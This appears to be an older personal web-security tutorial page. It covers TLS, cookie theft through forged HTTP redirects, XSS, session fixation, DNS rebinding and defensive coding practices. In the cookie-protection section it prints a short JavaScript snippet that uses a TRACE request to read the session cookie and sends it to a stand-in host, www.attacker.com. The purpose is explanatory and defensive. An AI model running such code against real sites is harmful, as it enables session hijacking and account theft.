Solution Hacker

Why make use of encryption?

If you submit HTTP request over the network without any protection, the information in the request/ response is in clear text. Someone bad can inspect the network traffic and read your request/ response.  It is ok if the info is insensitive. However, you definitely don’t want people to read your credit card info. For protection, you should make use of encryption. To do that, many network protocols are tunneled over Transport Layer Security (TLS). TLS is able to provide network traffics ith the following features:

1. Certificate based authentication which helps protect against man in the middle attack and replay attacks.
2. Encryption of traffics to help protect the contents of the traffics against anyone watching.

These features is what makes HTTPS (HTTP over TLS) a reliable and safe mechanism for transport of sensitive information over untrusted networks. Not only TLS can turn HTTP to be secure auto-magically, it also can secure other insecure protocols like IMAP (email) and RTP (VoIP).

What is HTTP Cookie and how we protect it?

Cookie consists of text data that is stored either in memory or on disk on the web browser. Normally, web server stores session id (normally after you successfully login) there that will be sent to server for every requests in order to provide state across multiple requests over the stateless HTTP protocol. Session id can be considered as user security token and becomes the common attacking point for many evils. How we protect it?

Cookie is associated with a specific host and possibly a path on that host’s website. As a basic protection mechanism, web servers can only set cookies on clients which apply their own host names. This is known as the same-origin policy. For example, http://www.microsoft.com/ can only set a cookie for its own domain and cannot set a cookie for http://www.google.com/. Basically, it enables sandbox environment for each host.

What is HTTP Redirect and how attackers leverage it to steal your cookie

HTTP Redirect is a way web server tells your browser the resource is no longer available in this domain and go check another domain specified. Without it, you need to update your bookmark for any resource location change in the server. That is not convenient. However, HTTP Redirect also opens up a hole for the evils. The idea is to hijack the regular http request and fake the response back to your browser and tell it to do http redirect to the https protected site but using http in the URL instead. So, browser will associate the cookie of the secure site in http that is unprotected. For example:

1. Victim logs into the secure web service at https://somesecurebank.com/.
2. The secure site issues a session cookie as the client logs in.
3. While logged in, the victim opens a new browser window and goes to http://www.example.org/
4. An attacker sitting on the same network is able to see the clear text traffic to www.example.org.
5. The attacker sends back a “301 Moved Permanently” in response to the clear text traffic to www.example.org. The
   response contains the header “Location: http://somesecurebank.com/”, which makes it appear that www.example.org is sending the web browser to somesecurebank.com. Notice that the URL scheme is HTTP not HTTPS.
6. The victim’s browser starts a new clear text connection to http://somesecurebank.com and sends an HTTP request containing cookie in the HTTP header in clear text
7. The attacker sees this traffic and logs the cookie for later (ab)use.

The attack makes use of a TCP connection hijack, which can be launched when an attacker that can see the victim’s outgoing packets. There are various cases where this is possible:

1. Insecure wireless networks
2. Switched networks allowing for ARP poisoning
3. Compromised routers
4. Tunnel networks such as TOR
5. DNS poisoned domain names

To solve this, cookies can have a flag called “secure”, which when present causes the browser cookie to be sent only through encrypted channels. But it is not always an easy option in large Single Sign On services such as Google’s network.

XSS vs XSRF

XSS

Remember the same-origin policy? Yes, browser doesn’t allow domain A cookie being read by domain B ( A != B). To bypass this check, attacker needs to find a way to inject some piece of unfiltered data (often javascript) to the web page b/c the malicious script is in the same domain . So, you can say XSS vulnerability is caused by the failure of a web application to validate user supplied input before inserting it to the data store and returning to the client system. There is > 75% of currently known web exploits are based on principles of such attacks, which makes them really critical.

XSS attacks could be categorized into two vectors: stored and reflected. The stored attack means the malicious code is permanently stored in db, a message forum, comments, etc. A victim retrieves this page, script run and steal the cookie. The reflected attack is delivered to victim via web page, email message. When a victim clicks on a special crafter link or submits a form, the malicious code is injected as part of the request to the vulnerable server and then the server reflects the attack back to the victim’s browser and execute the malicious code.

The rule of thumb is whenever you allow your users to submit text to your website, you need to be careful that you don’t leave any security holes open for malicious users to exploit. If you are ever going to allow user submitted text to be visible by the public you should consider using the htmlentities function (in php) to prevent them from running html code and scripts that may be harmful to your visitors. The htmlentities function takes a string and returns the same string with HTML converted into HTML entities. For example, the string “<script>” would be converted to “&lt;script&gt;”.

XSRF

XSRF (Cross-Site Request Forgery or CSRF) is quite similar to XSS in that it also uses injected scripts to exploit an aplication. That is were the similarity ends though.

Common Web Attacks

This section will cover the most common web attacks, the concept behind it and the strategies to thwart them. If you are new to this area and you want a quick guide to strengthen up your web application, check this article. NetworldWorld also published an article to take about the top 10 security holes in the Net (reference from OWASP full list).

The following topics I decide to dive deeper:

1. Cross Site Scripting (XSS) - launch a foreign javascript or vb script to steal the target site’s session id from user’s cookie. There are 3 common types of XSS attack
   • DOM-based attack
   • Non-Persistent XSS attack
   • Persistent XSS attack - eg. MySpace
   • Prevention: (1) content filtering, (2) cookie protection via HttpOnly and (3) disable javascript from browser
   • Hacker approach: (1) Character encoding obfuscation (help by explicitly setting character encoding in response to let browser knows).
2. Cross Site Request Forgery (CSRF) -
3. Session Fixation – Steal your session via setting a trap session id to your browser and wait til user login with the trap session and hack in (detail here)
   • Session setup – Obtain a trap session id from the target site.
   • Session fixation – Have this trap session id come along with the login process. URL, hidden form field and cookie are the ways that pass session id to the server. Among them, cookie is the most convenient and secure way. It is most secure way because browser will only accept a cookie assigned either to the issuing server or the issuing server’s domain. That is to say, www.attacker.com cannot set a cookie for the target web site www.worldbank.com. To work around that, attacker can adopt 3 available methods: XSS, <META> tag with Set-Cookie and Set-Cookie Http response header. The cookie attacker set can be persistent (via Expires field) in domain level (via domain field).
   • Session entrance – After the user has logged in to the trap session and before he has logged out, the attacker can enter the trap session and assume the user’s identity.
   • The key to solve fixation problem is to forcefully prevent of logging into a chosen session via ignore any session id provided by user’s browser at login and must always generate a new session to which the user will log in if successfully authenticated.
4. SQL Injection -
5. Distributed Denial of Service Attack (DDoS)
6. Phishing
7. AJAX Security
8. DNS Rebinding – trick your browser to become a http proxy (get around same origin browser security model)
   • DNS rebinding can bypass browser same origin policy – Mike and Revisit
   • Protecting Browser from DNS Rebinding Attacks – Stanford (DNS Pinning can partial revert this attack via making your browser to cache the previously resolved IP address for a fixed duration regardless of the TTL. However, browser plug-ins maintain their own pin databases, creating a new class of multi-pin vulenerabilities. After the browser resolves an attackers host name, subsequent network connections from Flash or Java LiveConnect will trigger additional DNS queries).

 

Defense – What we can do?

List of Countermeasures (summary from this great article)

1. Secure code standard
   • All user-supplied data must be treated untrusted.
   • Validation must follow a policy of “allow only known good input”, not one of “reject obviously bad input”.
   • To use untrusted input in database queries, scripts should use “parameterized queries” which completely separate the SQL statement from the data in order to prevents “SQL injection” attacks.
   • When returning untrusted input in HTML output, scripts must escape characters that have special meaning in HTML, e.g. & < or >. This prevents “cross-site scripting”.
   • All code must be written in a language that uses variable length strings, to avoid the risk of buffer overflows. Applications must not use any fixed length buffers handling user-supplied data.
2. Use HTTPS (SSL) to protect the communication channel between browser and server.
3. Authentication provides entrance to your system. Normally it is the weakest link because it is hard to control what users put in as their passwords. There are ways to make it more secure but it may also be inconvenient to users.
   • Enforcing a password strength policy on users. Include special characters and numbers to migrate the brute force dictionary attack.
   • Store the password in one-way hashed format in database. So, it is protected from DBA in your company.
   • Issue users with random passwords and not allow changes. Sometimes this is too extreme and users may not want to remember it. So, this is only appropriate for high security applications.
   • The password capture problem can be mitigated by using encryption – such as SSL – to protect the password as it travels over the network. However, there is still the possibility that it may be captured at one of the ends of communication. The client is the most likely weak link, for example logging in from an untrusted computer at an Internet Cafe. The owner could have installed a key logger to capture passwords. This risk can be migrated by password challenge for only few letters of password instead of the whole password.
   • A variation on the password capture problem is that users can be tricked into revealing their password. This has become a major concern recently, with many “phishing” attacks being launched against financial institutions. To prevent that, one option would be for network administrators to block known phishing sites. Alternatively, various browser bars are available, for example the Mozilla TrustBar. This displays the true domain of a page, in a way that is (hopefully) impossible to spoof. Trusted domains can be configured and will display differently – so the user can quickly see if it is safe to enter personal data.
4. Protect Session ID: Session ID is a random number (128 bits) generated for subsequent requests. It is normally stored in the cookie instead of exposing in URL or embedded in hidden form.
5. Protect Cookie: XSS can steal cookie, you can protect your cookie via using HttpOnly option. However, attackers can use TRACE on XMLHttpRequest to obtain the cookie.

var xmlHttp = new XMLHttpRequest();
xmlHttp.open(“TRACE”, “”, false);
xmlHttp.send(null);
var regex = new RegExp(‘^Cookie: (.*)$’, ‘m’);
var cookie = regex.exec(xmlHttp.responseText)[1];
new Image().src = ‘http://www.attacker.com/gotcha.png?’ + cookie;

Spring Security

Authentication verifies that the user is who he says he is, while authorization verifies that the current user has permission to do what he wants to do. Here I will show you how to achieve these via Spring Security. If you are still using Acegi Security, I suggest to upgrade it because Spring Security introduces namespace configuration. With this, your spring configuration file become much cleaner. Here is an article showing you how to upgrade.

1. Spring Security with LDAP
2. Flex + BlazeDS + Spring Security (Good sample code with maven build)

Security Experts

Below are some famous security blogs:

1. Amrit William Blog: http://techbuddha.wordpress.com/
2. Bruce Schneier: http://www.schneier.com/index.html
3. Richard Bejtlich’s blog: http://taosecurity.blogspot.com/

Reference

These are the links I used for writing this page.

1. HTTPS will not save you
2. Java web application security – XSS
3. Yahoo Mail XSS Attack
4. Steps by Steps guide on XSS (LADP site with trojan download)
5. Hacker approaches to fool input validator
6. http://www.cert.org/tech_tips/malicious_code_mitigation.html
7. Cross-domain leakiness